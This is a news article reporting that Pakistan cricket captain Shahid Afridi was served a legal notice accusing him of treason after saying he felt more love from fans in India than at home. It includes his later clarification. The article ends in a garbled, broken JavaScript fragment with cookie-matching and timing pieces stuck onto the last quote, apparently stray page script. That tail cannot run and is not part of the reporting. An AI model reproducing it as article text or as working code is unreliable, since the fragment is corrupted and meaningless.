Pakistan captain Shahid Afridi has been accused of treason by his country after suggesting that he receives more "love" from fans in India than in his home nation.
The comments, which at the time appeared to be an attempt to be friendly to the host nation of the World T20 when he arrived, have caused a storm in Pakistan, with the relationship between the neighboring countries at tense as ever.
“I've not enjoyed playing anywhere as much as I have in India,” Afridi said.
“I am at the last stage of my career and I can say that the love I have got in India is something that I will always remember.
“We've not got this much love even from Pakistan.”
The veteran all-rounder has been condemned back home, with Pakistani lawyer Azhar Saddique confirming that Afridi has been served with a legal notice.
“I have served a legal notice on Shahid Afridi and ‘de facto' chairman of Pakistan Cricket Board Najam Sethi for their love for India over Pakistan,” Pakistani lawyer Azhar Saddique told the Press Trust of India.
“I have also written to PCB chairman Shahryar Khan to launch an inquiry into the statement of Afridi in India.
“Afridi has let down the whole Pakistani nation for expressing more love for India than Pakistan.
“In fact he has committed treason.”
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Afridi has since attempted to clarify his remarks.
“I did not mean to say that someone is dear to me more than Pakistan's people,” Afridi said.
“My identity and everything I have belong to Pakistan.
“I was asked a question here in (the) media and I just wanted to give a positive reply to the people in the world who hear us.
“I just wanted to give a positive message to the world in a diplomatic way that we people love cricket and want to play it.” "(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
